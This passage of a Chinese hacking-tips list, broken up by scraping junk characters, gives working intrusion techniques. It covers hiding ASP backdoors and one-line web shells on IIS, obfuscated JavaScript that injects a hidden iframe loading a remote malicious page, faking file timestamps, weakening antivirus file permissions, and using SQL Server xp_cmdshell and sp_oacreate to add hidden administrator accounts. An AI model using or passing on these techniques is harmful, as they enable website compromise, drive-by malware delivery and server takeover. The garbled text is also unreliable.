$ W+ b% G) @3 M* e0 P) P) k3 N3 w用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
# T6 E0 P. V2 g5 j4 P
7 Q; M' ?* y- I" n+ v9 [53、隐藏ASP后门的两种方法
, k0 W1 F9 \8 ^+ _1、建立非标准目录:mkdir images..\
& c! x: J: U( a" q拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
\( ^& b% m3 |9 S; E( i通过web访问ASP木马:http://ip/images../news.asp?action=login- C# K d$ Z1 _
如何删除非标准目录:rmdir images..\ /s
/ g6 r4 S) b- ]9 {2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:: U4 k5 U+ D% o8 s* X
mkdir programme.asp
" ?: s/ u6 k2 |8 u6 F新建1.txt文件内容:<!--#include file=”12.jpg”-->( e/ X" c$ z0 H/ ]9 n4 _9 ^3 l
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件/ G3 D8 o# [, x9 }+ c1 R
attrib +H +S programme.asp
, n% ~+ q& c! t4 ?# [+ Z6 @, M N通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
2 I2 H: ]7 f) @; K0 q" Y% \2 E; B* T0 Z
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。$ b3 _% `2 l, B0 r$ H1 O2 b6 @
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。4 R4 P5 `3 r& V1 i+ B( B8 [& z
$ V9 O1 h* b/ Y$ v
55、JS隐蔽挂马
5 ]$ d- W. J; ?- N% u7 s0 M, g1.
+ q8 Q+ V/ V& q; O! X8 h: _' Wvar tr4c3="<iframe src=ht";% P; T [, J% ^+ P" I2 z) K7 `
tr4c3 = tr4c3+"tp:/";/ q/ ~- [- v6 w, } c" I
tr4c3 = tr4c3+"/ww";
9 s" J6 u# V' q0 g' N- Itr4c3 = tr4c3+"w.tr4";& B B9 _( E) l7 Q+ D2 T9 p c
tr4c3 = tr4c3+"c3.com/inc/m";
- m- E9 [9 `7 ftr4c3 = tr4c3+"m.htm style="display:none"></i";
7 h0 N2 q2 g0 L8 xtr4c3 =tr4c3+"frame>'";
m" q D4 C. G1 F2 `document.write(tr4c3);, S; s) t9 z6 R
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
, g5 n( N0 u: r% C
9 a# N9 y) T+ d5 T5 f2.) s5 R$ N; {) Q& T) F2 v4 N3 v
转换进制,然后用EVAL执行。如
! ~3 ~7 k( E' A6 Ceval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
7 @* I% h: g( `! u不过这个有点显眼。1 `% j) R5 ~2 S' T+ ]
3.1 [1 C0 h, w7 I" S/ s% `9 @
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
f+ ^' V3 m. A" u# Z6 R最后一点,别忘了把文件的时间也修改下。* f+ v8 j. k; f3 H. w v
+ H% ?6 h3 S ~$ C V( Q
56.3389终端入侵常用DOS命令
7 r- k5 L; \* U5 U. j0 K: qtaskkill taskkill /PID 1248 /t# v! a0 F2 Q. f
& h. z9 Q& C Z% |1 Z% {( Ttasklist 查进程
. A! u" u: Q$ X/ ^4 H
& R6 a% l Q& D Vcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限4 A8 q+ {; h% c* k! k
iisreset /reboot1 A$ O1 P5 l5 n3 L
tsshutdn /reboot /delay:1 重起服务器
) d' v6 Q/ c) m3 |
* B. R) ]9 H- @, E. `6 dlogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,. S) p! V9 T7 M" T7 W8 p8 {9 a! Y
# ^' t, Q8 d4 S, l( u5 Q4 |query user 查看当前终端用户在线情况# K( f. m2 b* L8 K; O+ c% c5 O; \
8 ~) N% C: q8 O' ~- k# v要显示有关所有会话使用的进程的信息,请键入:query process *' J" T7 T; c- y) E
6 u% u6 ~ E3 `. ?
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2* K: O& Q7 ]% E# F1 T& ^
0 Z- \3 a8 d- S, Z要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
% m' _/ B5 X% n; B0 E5 u$ y& i# I: R' L4 u( {6 v& H
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
# h% y. }9 I; M r/ c* R2 \1 D0 g% _( U( z# c8 f# U9 r
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启# ]/ e# u$ ]8 H# ]
; H8 s5 n. p0 L# ^
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
5 q% c5 H& v, h, m9 |( k& B, |& c" s' J9 E7 T
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。" ] e |& |, t% t' ^
1 _1 e, O- S, ^
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机2 m" [# R |# _% ]8 L$ T" B
3 }9 q& g2 a5 b$ G6 ~3 V3 B/ D
56、在地址栏或按Ctrl+O,输入:
' F/ _1 S) J, e8 Vjavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
/ P6 q; p' p& d3 J1 ^* D, p* Z% I+ d
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
1 c( L. _( c. Z9 W% v) N7 M+ ?: U4 b: u
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
! {5 h. {0 ~0 X- E; |$ |用net localgroup administrators是可以看到管理组下,加了$的用户的。
$ C! s/ E5 T8 l0 z& @
5 Y' m* W& |% I; i: r7 ?( l/ X58、 sa弱口令相关命令
2 N) I W v6 J8 y
! ]9 ~% @. \7 i' l, y3 |8 o一.更改sa口令方法:
: G1 `9 H; y0 F! R/ r用sql综合利用工具连接后,执行命令:$ Q6 I7 y, w: L: W' P: G
exec sp_password NULL,'20001001','sa'0 B$ d% ~3 f( Y3 e6 b8 j5 w
(提示:慎用!)
5 [6 D3 @0 l- F/ {$ E8 D8 t8 H
5 e# R/ \6 A6 j) j7 D \二.简单修补sa弱口令.
+ _. D8 w" u0 R- a( w, m3 [5 p2 R1 ~% k" M( X+ F7 w, B
方法1:查询分离器连接后执行:
. r; p% f' Y* q2 qif exists (select * from. L9 |9 \, B& Y- S8 b" D
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
" k; V; c Y7 L% v u* MOBJECTPROPERTY(id, N'IsExtendedProc') = 1)% p- ~7 S0 w. A6 f L; F
8 X2 f" k, w2 w. F5 K1 `exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
5 _6 w! F9 V+ B6 L3 N4 Q# m
1 ?* w1 I5 N% D! d8 C9 tGO* N1 B( n( p& p2 O% ]8 }2 L
( R0 k' `* k/ t' C( s
然后按F5键命令执行完毕2 _: `2 ?1 J4 a( J
+ L% Q: X( G9 d+ k% h/ k0 s
方法2:查询分离器连接后
3 P. m# f( H4 y7 L# y+ }第一步执行:use master3 W; H% T5 w. f1 d# L$ {8 g
第二步执行:sp_dropextendedproc 'xp_cmdshell'
/ Y! o" \' m2 P1 A然后按F5键命令执行完毕$ H& A; C! P! S: I7 w0 x% y: v
* u5 z3 l: x$ t4 v8 A1 a& T, f" y
9 h' m# J/ g3 U8 D4 [三.常见情况恢复执行xp_cmdshell.
# J, s# H% s" a
0 p4 Y5 l- ^. S& B& z
. e0 ^ m) V$ ~ H1 未能找到存储过程'master..xpcmdshell'.
2 q i" |! X8 C& u! s5 W/ M 恢复方法:查询分离器连接后,, S7 i" F [2 D3 Z1 E" C
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int1 s$ ^& d0 h* M: L
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'7 ]. W0 R9 {6 l4 j9 Z# w2 W% k
然后按F5键命令执行完毕- l9 i9 y5 p7 b# L5 | H
X; C8 w1 N9 r
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)0 M: ]' }; Q' i0 T
恢复方法:查询分离器连接后,4 L( c( K" c- H& A# e0 \
第一步执行:sp_dropextendedproc "xp_cmdshell"
+ x. R0 I8 f# a: j4 q% M第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
) _, i& n! D- c: _ ]然后按F5键命令执行完毕
$ h5 L% K- p8 i" ?' G* Z h* q
* o3 @# j+ G- ?3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ j! b6 K1 O' G6 B) `: Z
恢复方法:查询分离器连接后,
2 c/ j& {+ k0 o/ G$ d第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
( Z8 E' c. \5 W/ x+ S2 C第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 7 _8 H0 H, I7 e. X4 m
然后按F5键命令执行完毕
, t1 D: O0 ?( t+ u6 c8 v/ ?& d
" K0 g Y4 c! f1 K四.终极方法.
: V/ ?4 Z9 r6 i9 U& [1 V' b如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: ~! h+ z& i" G% Q* z7 ]+ ~! E+ p0 F查询分离器连接后,
) }5 O, ~2 q% j; ?/ q2000servser系统:& f8 I2 L/ [. k6 Z$ q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
" \& y7 K$ h4 c& T# g$ @& T' i& C& d: ]3 M: V, G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
5 L6 S4 j4 J) } x( \, S: a# P/ n2 V }" y) j. n* @4 Z
xp或2003server系统:
$ V4 |* r3 w; R1 e0 V
: ?8 k3 ~) \+ c+ sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
) L$ i+ ?; Q; G2 G% t6 s8 a
+ U! Q( e. t I7 h3 udeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
# F* H/ `- @$ K3 s2 o |